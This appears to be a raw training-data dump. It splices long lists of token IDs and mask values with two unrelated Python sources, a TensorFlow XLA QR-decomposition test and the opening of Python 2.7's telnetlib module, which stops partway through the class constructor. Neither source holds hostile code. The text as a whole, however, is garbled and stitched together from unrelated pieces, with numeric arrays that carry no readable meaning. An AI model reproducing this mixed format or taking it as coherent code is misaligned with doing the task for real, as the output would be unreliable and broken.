11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 1174, 283, 272, 283, 2160, 1894, 552, 5198, 60, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 283, 272, 283, 12741, 10840, 24180, 378, 297, 272, 283, 22, 26, 3925, 32, 1421, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 1174, 283, 272, 283, 2160, 1894, 552, 5198, 60, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 283, 272, 283, 12741, 10840, 24180, 378, 297, 272, 283, 23, 26, 3925, 26, 1421, 32, 1421, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 283, 272, 283, 929, 7215, 1894, 552, 5198, 7, 272, 1557, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 297, 272, 283, 24, 26, 3925, 32, 1421, 26, 1421, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 19539, 283, 272, 283, 929, 7215, 1894, 552, 5198, 7, 272, 1557, 259, 2142, 15, 27732, 7429, 26, 617, 26, 1024, 26, 556, 26, 371, 26, 2866, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 297, 272, 283, 25, 26, 4681, 14, 25, 32, 12391, 16, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 283, 272, 283, 949, 1825, 5288, 330, 5098, 16, 66, 1194, 16564, 67, 13, 1780, 1174, 7215, 818, 6186, 7, 272, 1557, 259, 2142, 15, 27732, 2236, 26, 966, 26, 1887, 26, 66, 22, 26, 371, 26, 65, 16, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 7, 272, 1557, 259, 10119, 4113, 1695, 996, 14, 17, 81, 1305, 1749, 665, 907, 12125, 63, 40, 4564, 4206, 272, 283, 709, 26, 4681, 32, 12391, 16, 26, 665, 21111, 32215, 12, 8203, 948, 11307, 12, 2160, 12, 5896, 540, 63, 2160, 30, 28270, 24970, 1894, 6409, 283, 272, 283, 949, 1825, 5288, 330, 5098, 16, 66, 1194, 16564, 67, 13, 1780, 1174, 7215, 818, 6186, 7, 272, 1557, 259, 2142, 15, 27732, 2236, 26, 966, 26, 1887, 26, 66, 22, 26, 371, 26, 65, 16, 330, 6883, 16328, 26, 556, 26, 556, 26, 556, 26, 556, 26, 556, 8023, 10840, 24180, 378, 7, 272, 1557, 259, 10119, 4113, 1695, 996, 14, 17, 49, 1305, 1616, 665, 907, 12125, 63, 40, 4564, 4206, 272, 283, 845, 26, 4681, 26, 1700, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jart/tensorflow
tensorflow/compiler/tests/qr_op_test.py
5
4564
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tensorflow.ops.math_ops.matrix_inverse.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import itertools from absl.testing import parameterized import numpy as np from tensorflow.compiler.tests import xla_test from tensorflow.python.ops import array_ops from tensorflow.python.ops import linalg_ops from tensorflow.python.ops import math_ops from tensorflow.python.platform import test class QrOpTest(xla_test.XLATestCase, parameterized.TestCase): def AdjustedNorm(self, x): """Computes the norm of matrices in 'x', adjusted for dimension and type.""" norm = np.linalg.norm(x, axis=(-2, -1)) return norm / (max(x.shape[-2:]) * np.finfo(x.dtype).eps) def CompareOrthogonal(self, x, y, rank): # We only compare the first 'rank' orthogonal vectors since the # remainder form an arbitrary orthonormal basis for the # (row- or column-) null space, whose exact value depends on # implementation details. Notice that since we check that the # matrices of singular vectors are unitary elsewhere, we do # implicitly test that the trailing vectors of x and y span the # same space. x = x[..., 0:rank] y = y[..., 0:rank] # Q is only unique up to sign (complex phase factor for complex matrices), # so we normalize the sign first. sum_of_ratios = np.sum(np.divide(y, x), -2, keepdims=True) phases = np.divide(sum_of_ratios, np.abs(sum_of_ratios)) x *= phases self.assertTrue(np.all(self.AdjustedNorm(x - y) < 30.0)) def CheckApproximation(self, a, q, r): # Tests that a ~= q*r. precision = self.AdjustedNorm(a - np.matmul(q, r)) self.assertTrue(np.all(precision < 10.0)) def CheckUnitary(self, x): # Tests that x[...,:,:]^H * x[...,:,:] is close to the identity. xx = math_ops.matmul(x, x, adjoint_a=True) identity = array_ops.matrix_band_part(array_ops.ones_like(xx), 0, 0) precision = self.AdjustedNorm(xx.eval() - identity.eval()) self.assertTrue(np.all(precision < 5.0)) def _test(self, dtype, shape, full_matrices): np.random.seed(1) x_np = np.random.uniform( low=-1.0, high=1.0, size=np.prod(shape)).reshape(shape).astype(dtype) with self.test_session() as sess: x_tf = array_ops.placeholder(dtype) with self.test_scope(): q_tf, r_tf = linalg_ops.qr(x_tf, full_matrices=full_matrices) q_tf_val, r_tf_val = sess.run([q_tf, r_tf], feed_dict={x_tf: x_np}) q_dims = q_tf_val.shape np_q = np.ndarray(q_dims, dtype) np_q_reshape = np.reshape(np_q, (-1, q_dims[-2], q_dims[-1])) new_first_dim = np_q_reshape.shape[0] x_reshape = np.reshape(x_np, (-1, x_np.shape[-2], x_np.shape[-1])) for i in range(new_first_dim): if full_matrices: np_q_reshape[i, :, :], _ = np.linalg.qr( x_reshape[i, :, :], mode="complete") else: np_q_reshape[i, :, :], _ = np.linalg.qr( x_reshape[i, :, :], mode="reduced") np_q = np.reshape(np_q_reshape, q_dims) self.CompareOrthogonal(np_q, q_tf_val, min(shape[-2:])) self.CheckApproximation(x_np, q_tf_val, r_tf_val) self.CheckUnitary(q_tf_val) SIZES = [1, 2, 5, 10, 32, 100, 300] DTYPES = [np.float32] PARAMS = itertools.product(SIZES, SIZES, DTYPES) @parameterized.parameters(*PARAMS) def testQR(self, rows, cols, dtype): # TODO(b/111317468): implement full_matrices=False, test other types. for full_matrices in [True]: # Only tests the (3, 2) case for small numbers of rows/columns. for batch_dims in [(), (3,)] + [(3, 2)] * (max(rows, cols) < 10): self._test(dtype, batch_dims + (rows, cols), full_matrices) def testLarge2000x2000(self): self._test(np.float32, (2000, 2000), full_matrices=True) if __name__ == "__main__": test.main()
apache-2.0
[ 3, 1898, 14894, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 3228, 14, 1483, 14, 3442, 63, 1483, 14, 3642, 63, 11668, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 7975, 199, 199, 504, 2853, 76, 14, 4776, 492, 29526, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 5772, 14, 2219, 492, 671, 416, 63, 396, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 16727, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 421, 199, 533, 1413, 82, 4619, 774, 8, 88, 416, 63, 396, 14, 56, 20307, 27309, 12, 29526, 14, 1746, 304, 819, 347, 4431, 74, 7274, 15548, 8, 277, 12, 671, 304, 272, 408, 22594, 314, 6316, 402, 12627, 315, 283, 88, 297, 19477, 367, 6240, 436, 730, 1041, 272, 6316, 275, 980, 14, 10096, 14, 4791, 8, 88, 12, 3114, 26154, 18, 12, 446, 17, 430, 272, 372, 6316, 1182, 334, 988, 8, 88, 14, 1392, 1988, 18, 5728, 627, 980, 14, 23087, 8, 88, 14, 2271, 680, 8277, 9, 819, 347, 18955, 2844, 273, 19133, 8, 277, 12, 671, 12, 612, 12, 6915, 304, 272, 327, 2136, 1454, 6540, 314, 1642, 283, 4648, 7, 29069, 11102, 3967, 314, 272, 327, 15748, 1824, 376, 9697, 503, 898, 1783, 5597, 367, 314, 272, 327, 334, 1143, 13, 503, 2763, 13, 9, 2973, 4601, 12, 7447, 5835, 574, 8350, 641, 272, 327, 4514, 2436, 14, 3091, 3548, 626, 3967, 781, 1104, 626, 314, 272, 327, 12627, 402, 15823, 11102, 787, 4137, 695, 25320, 12, 781, 886, 272, 327, 19796, 511, 626, 314, 8520, 11102, 402, 671, 436, 612, 13598, 314, 272, 327, 2011, 4601, 14, 272, 671, 275, 671, 18999, 378, 26, 4648, 61, 272, 612, 275, 612, 18999, 378, 26, 4648, 61, 272, 327, 1413, 365, 1454, 3747, 1536, 370, 2070, 334, 5254, 7669, 6535, 367, 6114, 12627, 395, 272, 327, 880, 781, 7666, 314, 2070, 1642, 14, 272, 3089, 63, 1618, 63, 345, 9636, 275, 980, 14, 1838, 8, 1590, 14, 16081, 8, 89, 12, 671, 395, 446, 18, 12, 18492, 29, 549, 9, 272, 22587, 275, 980, 14, 16081, 8, 1838, 63, 1618, 63, 345, 9636, 12, 980, 14, 2101, 8, 1838, 63, 1618, 63, 345, 9636, 430, 272, 671, 9000, 22587, 272, 291, 14, 1815, 8, 1590, 14, 452, 8, 277, 14, 2767, 74, 7274, 15548, 8, 88, 446, 612, 9, 665, 4233, 14, 16, 430, 819, 347, 2670, 25923, 20030, 8, 277, 12, 282, 12, 1894, 12, 519, 304, 272, 327, 6496, 626, 282, 6146, 29, 1894, 10, 82, 14, 272, 7151, 275, 291, 14, 2767, 74, 7274, 15548, 8, 65, 446, 980, 14, 14465, 8, 81, 12, 519, 430, 272, 291, 14, 1815, 8, 1590, 14, 452, 8, 6833, 665, 1616, 14, 16, 430, 819, 347, 2670, 5072, 695, 8, 277, 12, 671, 304, 272, 327, 6496, 626, 671, 18999, 11941, 2938, 62, 40, 627, 671, 18999, 11941, 2938, 365, 4002, 370, 314, 8503, 14, 272, 19379, 275, 3473, 63, 1483, 14, 14465, 8, 88, 12, 671, 12, 24132, 63, 65, 29, 549, 9, 272, 8503, 275, 1625, 63, 1483, 14, 3642, 63, 7877, 63, 2064, 8, 1144, 63, 1483, 14, 4548, 63, 2930, 8, 2154, 395, 378, 12, 378, 9, 272, 7151, 275, 291, 14, 2767, 74, 7274, 15548, 8, 2154, 14, 2579, 342, 446, 8503, 14, 2579, 1012, 272, 291, 14, 1815, 8, 1590, 14, 452, 8, 6833, 665, 959, 14, 16, 430, 819, 347, 485, 396, 8, 277, 12, 2152, 12, 2215, 12, 2615, 63, 19032, 304, 272, 980, 14, 2355, 14, 5176, 8, 17, 9, 272, 671, 63, 1590, 275, 980, 14, 2355, 14, 8830, 8, 267, 6465, 4022, 17, 14, 16, 12, 4721, 29, 17, 14, 16, 12, 1568, 29, 1590, 14, 8788, 8, 1392, 4992, 5217, 8, 1392, 680, 6041, 8, 2271, 9, 339, 543, 291, 14, 396, 63, 1730, 342, 465, 4043, 26, 489, 671, 63, 3249, 275, 1625, 63, 1483, 14, 6199, 8, 2271, 9, 489, 543, 291, 14, 396, 63, 2645, 837, 267, 1894, 63, 3249, 12, 519, 63, 3249, 275, 16727, 63, 1483, 14, 16596, 8, 88, 63, 3249, 12, 2615, 63, 19032, 29, 2861, 63, 19032, 9, 489, 1894, 63, 3249, 63, 637, 12, 519, 63, 3249, 63, 637, 275, 4043, 14, 1065, 779, 81, 63, 3249, 12, 519, 63, 3249, 467, 4733, 63, 807, 3126, 88, 63, 3249, 26, 671, 63, 1590, 1552, 2541, 1894, 63, 5380, 275, 1894, 63, 3249, 63, 637, 14, 1392, 489, 980, 63, 81, 275, 980, 14, 8237, 8, 81, 63, 5380, 12, 2152, 9, 489, 980, 63, 81, 63, 5217, 275, 980, 14, 5217, 8, 1590, 63, 81, 12, 5868, 17, 12, 1894, 63, 5380, 1988, 18, 467, 1894, 63, 5380, 1988, 17, 2459, 489, 892, 63, 2246, 63, 3572, 275, 980, 63, 81, 63, 5217, 14, 1392, 59, 16, 61, 2541, 671, 63, 5217, 275, 980, 14, 5217, 8, 88, 63, 1590, 12, 5868, 17, 12, 671, 63, 1590, 14, 1392, 1988, 18, 467, 671, 63, 1590, 14, 1392, 1988, 17, 2459, 489, 367, 284, 315, 1425, 8, 1222, 63 ]
[ 1898, 14894, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 3228, 14, 1483, 14, 3442, 63, 1483, 14, 3642, 63, 11668, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 7975, 199, 199, 504, 2853, 76, 14, 4776, 492, 29526, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 5772, 14, 2219, 492, 671, 416, 63, 396, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 16727, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 421, 199, 533, 1413, 82, 4619, 774, 8, 88, 416, 63, 396, 14, 56, 20307, 27309, 12, 29526, 14, 1746, 304, 819, 347, 4431, 74, 7274, 15548, 8, 277, 12, 671, 304, 272, 408, 22594, 314, 6316, 402, 12627, 315, 283, 88, 297, 19477, 367, 6240, 436, 730, 1041, 272, 6316, 275, 980, 14, 10096, 14, 4791, 8, 88, 12, 3114, 26154, 18, 12, 446, 17, 430, 272, 372, 6316, 1182, 334, 988, 8, 88, 14, 1392, 1988, 18, 5728, 627, 980, 14, 23087, 8, 88, 14, 2271, 680, 8277, 9, 819, 347, 18955, 2844, 273, 19133, 8, 277, 12, 671, 12, 612, 12, 6915, 304, 272, 327, 2136, 1454, 6540, 314, 1642, 283, 4648, 7, 29069, 11102, 3967, 314, 272, 327, 15748, 1824, 376, 9697, 503, 898, 1783, 5597, 367, 314, 272, 327, 334, 1143, 13, 503, 2763, 13, 9, 2973, 4601, 12, 7447, 5835, 574, 8350, 641, 272, 327, 4514, 2436, 14, 3091, 3548, 626, 3967, 781, 1104, 626, 314, 272, 327, 12627, 402, 15823, 11102, 787, 4137, 695, 25320, 12, 781, 886, 272, 327, 19796, 511, 626, 314, 8520, 11102, 402, 671, 436, 612, 13598, 314, 272, 327, 2011, 4601, 14, 272, 671, 275, 671, 18999, 378, 26, 4648, 61, 272, 612, 275, 612, 18999, 378, 26, 4648, 61, 272, 327, 1413, 365, 1454, 3747, 1536, 370, 2070, 334, 5254, 7669, 6535, 367, 6114, 12627, 395, 272, 327, 880, 781, 7666, 314, 2070, 1642, 14, 272, 3089, 63, 1618, 63, 345, 9636, 275, 980, 14, 1838, 8, 1590, 14, 16081, 8, 89, 12, 671, 395, 446, 18, 12, 18492, 29, 549, 9, 272, 22587, 275, 980, 14, 16081, 8, 1838, 63, 1618, 63, 345, 9636, 12, 980, 14, 2101, 8, 1838, 63, 1618, 63, 345, 9636, 430, 272, 671, 9000, 22587, 272, 291, 14, 1815, 8, 1590, 14, 452, 8, 277, 14, 2767, 74, 7274, 15548, 8, 88, 446, 612, 9, 665, 4233, 14, 16, 430, 819, 347, 2670, 25923, 20030, 8, 277, 12, 282, 12, 1894, 12, 519, 304, 272, 327, 6496, 626, 282, 6146, 29, 1894, 10, 82, 14, 272, 7151, 275, 291, 14, 2767, 74, 7274, 15548, 8, 65, 446, 980, 14, 14465, 8, 81, 12, 519, 430, 272, 291, 14, 1815, 8, 1590, 14, 452, 8, 6833, 665, 1616, 14, 16, 430, 819, 347, 2670, 5072, 695, 8, 277, 12, 671, 304, 272, 327, 6496, 626, 671, 18999, 11941, 2938, 62, 40, 627, 671, 18999, 11941, 2938, 365, 4002, 370, 314, 8503, 14, 272, 19379, 275, 3473, 63, 1483, 14, 14465, 8, 88, 12, 671, 12, 24132, 63, 65, 29, 549, 9, 272, 8503, 275, 1625, 63, 1483, 14, 3642, 63, 7877, 63, 2064, 8, 1144, 63, 1483, 14, 4548, 63, 2930, 8, 2154, 395, 378, 12, 378, 9, 272, 7151, 275, 291, 14, 2767, 74, 7274, 15548, 8, 2154, 14, 2579, 342, 446, 8503, 14, 2579, 1012, 272, 291, 14, 1815, 8, 1590, 14, 452, 8, 6833, 665, 959, 14, 16, 430, 819, 347, 485, 396, 8, 277, 12, 2152, 12, 2215, 12, 2615, 63, 19032, 304, 272, 980, 14, 2355, 14, 5176, 8, 17, 9, 272, 671, 63, 1590, 275, 980, 14, 2355, 14, 8830, 8, 267, 6465, 4022, 17, 14, 16, 12, 4721, 29, 17, 14, 16, 12, 1568, 29, 1590, 14, 8788, 8, 1392, 4992, 5217, 8, 1392, 680, 6041, 8, 2271, 9, 339, 543, 291, 14, 396, 63, 1730, 342, 465, 4043, 26, 489, 671, 63, 3249, 275, 1625, 63, 1483, 14, 6199, 8, 2271, 9, 489, 543, 291, 14, 396, 63, 2645, 837, 267, 1894, 63, 3249, 12, 519, 63, 3249, 275, 16727, 63, 1483, 14, 16596, 8, 88, 63, 3249, 12, 2615, 63, 19032, 29, 2861, 63, 19032, 9, 489, 1894, 63, 3249, 63, 637, 12, 519, 63, 3249, 63, 637, 275, 4043, 14, 1065, 779, 81, 63, 3249, 12, 519, 63, 3249, 467, 4733, 63, 807, 3126, 88, 63, 3249, 26, 671, 63, 1590, 1552, 2541, 1894, 63, 5380, 275, 1894, 63, 3249, 63, 637, 14, 1392, 489, 980, 63, 81, 275, 980, 14, 8237, 8, 81, 63, 5380, 12, 2152, 9, 489, 980, 63, 81, 63, 5217, 275, 980, 14, 5217, 8, 1590, 63, 81, 12, 5868, 17, 12, 1894, 63, 5380, 1988, 18, 467, 1894, 63, 5380, 1988, 17, 2459, 489, 892, 63, 2246, 63, 3572, 275, 980, 63, 81, 63, 5217, 14, 1392, 59, 16, 61, 2541, 671, 63, 5217, 275, 980, 14, 5217, 8, 88, 63, 1590, 12, 5868, 17, 12, 671, 63, 1590, 14, 1392, 1988, 18, 467, 671, 63, 1590, 14, 1392, 1988, 17, 2459, 489, 367, 284, 315, 1425, 8, 1222, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ff94315/hiwifi-openwrt-HC5661-HC5761
staging_dir/target-mipsel_r2_uClibc-0.9.33.2/root-ralink/usr/lib/python2.7/telnetlib.py
108
21808
r"""TELNET client class. Based on RFC 854: TELNET Protocol Specification, by J. Postel and J. Reynolds Example: >>> from telnetlib import Telnet >>> tn = Telnet('www.python.org', 79) # connect to finger port >>> tn.write('guido\r\n') >>> print tn.read_all() Login Name TTY Idle When Where guido Guido van Rossum pts/2 <Dec 2 11:10> snag.cnri.reston.. >>> Note that read_all() won't read until eof -- it just reads some data -- but it guarantees to read at least one byte unless EOF is hit. It is possible to pass a Telnet object to select.select() in order to wait until more data is available. Note that in this case, read_eager() may return '' even if there was data on the socket, because the protocol negotiation may have eaten the data. This is why EOFError is needed in some cases to distinguish between "no data" and "connection closed" (since the socket also appears ready for reading when it is closed). To do: - option negotiation - timeout should be intrinsic to the connection object instead of an option on one of the read calls only """ # Imported modules import sys import socket import select __all__ = ["Telnet"] # Tunable parameters DEBUGLEVEL = 0 # Telnet protocol defaults TELNET_PORT = 23 # Telnet protocol characters (don't change) IAC = chr(255) # "Interpret As Command" DONT = chr(254) DO = chr(253) WONT = chr(252) WILL = chr(251) theNULL = chr(0) SE = chr(240) # Subnegotiation End NOP = chr(241) # No Operation DM = chr(242) # Data Mark BRK = chr(243) # Break IP = chr(244) # Interrupt process AO = chr(245) # Abort output AYT = chr(246) # Are You There EC = chr(247) # Erase Character EL = chr(248) # Erase Line GA = chr(249) # Go Ahead SB = chr(250) # Subnegotiation Begin # Telnet protocol options code (don't change) # These ones all come from arpa/telnet.h BINARY = chr(0) # 8-bit data path ECHO = chr(1) # echo RCP = chr(2) # prepare to reconnect SGA = chr(3) # suppress go ahead NAMS = chr(4) # approximate message size STATUS = chr(5) # give status TM = chr(6) # timing mark RCTE = chr(7) # remote controlled transmission and echo NAOL = chr(8) # negotiate about output line width NAOP = chr(9) # negotiate about output page size NAOCRD = chr(10) # negotiate about CR disposition NAOHTS = chr(11) # negotiate about horizontal tabstops NAOHTD = chr(12) # negotiate about horizontal tab disposition NAOFFD = chr(13) # negotiate about formfeed disposition NAOVTS = chr(14) # negotiate about vertical tab stops NAOVTD = chr(15) # negotiate about vertical tab disposition NAOLFD = chr(16) # negotiate about output LF disposition XASCII = chr(17) # extended ascii character set LOGOUT = chr(18) # force logout BM = chr(19) # byte macro DET = chr(20) # data entry terminal SUPDUP = chr(21) # supdup protocol SUPDUPOUTPUT = chr(22) # supdup output SNDLOC = chr(23) # send location TTYPE = chr(24) # terminal type EOR = chr(25) # end or record TUID = chr(26) # TACACS user identification OUTMRK = chr(27) # output marking TTYLOC = chr(28) # terminal location number VT3270REGIME = chr(29) # 3270 regime X3PAD = chr(30) # X.3 PAD NAWS = chr(31) # window size TSPEED = chr(32) # terminal speed LFLOW = chr(33) # remote flow control LINEMODE = chr(34) # Linemode option XDISPLOC = chr(35) # X Display Location OLD_ENVIRON = chr(36) # Old - Environment variables AUTHENTICATION = chr(37) # Authenticate ENCRYPT = chr(38) # Encryption option NEW_ENVIRON = chr(39) # New - Environment variables # the following ones come from # http://www.iana.org/assignments/telnet-options # Unfortunately, that document does not assign identifiers # to all of them, so we are making them up TN3270E = chr(40) # TN3270E XAUTH = chr(41) # XAUTH CHARSET = chr(42) # CHARSET RSP = chr(43) # Telnet Remote Serial Port COM_PORT_OPTION = chr(44) # Com Port Control Option SUPPRESS_LOCAL_ECHO = chr(45) # Telnet Suppress Local Echo TLS = chr(46) # Telnet Start TLS KERMIT = chr(47) # KERMIT SEND_URL = chr(48) # SEND-URL FORWARD_X = chr(49) # FORWARD_X PRAGMA_LOGON = chr(138) # TELOPT PRAGMA LOGON SSPI_LOGON = chr(139) # TELOPT SSPI LOGON PRAGMA_HEARTBEAT = chr(140) # TELOPT PRAGMA HEARTBEAT EXOPL = chr(255) # Extended-Options-List NOOPT = chr(0) class Telnet: """Telnet interface class. An instance of this class represents a connection to a telnet server. The instance is initially not connected; the open() method must be used to establish a connection. Alternatively, the host name and optional port number can be passed to the constructor, too. Don't try to reopen an already connected instance. This class has many read_*() methods. Note that some of them raise EOFError when the end of the connection is read, because they can return an empty string for other reasons. See the individual doc strings. read_until(expected, [timeout]) Read until the expected string has been seen, or a timeout is hit (default is no timeout); may block. read_all() Read all data until EOF; may block. read_some() Read at least one byte or EOF; may block. read_very_eager() Read all data available already queued or on the socket, without blocking. read_eager() Read either data already queued or some data available on the socket, without blocking. read_lazy() Read all data in the raw queue (processing it first), without doing any socket I/O. read_very_lazy() Reads all data in the cooked queue, without doing any socket I/O. read_sb_data() Reads available data between SB ... SE sequence. Don't block. set_option_negotiation_callback(callback) Each time a telnet option is read on the input flow, this callback (if set) is called with the following parameters : callback(telnet socket, command, option) option will be chr(0) when there is no option. No other action is done afterwards by telnetlib. """ def __init__(self, host=None, port=0, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): 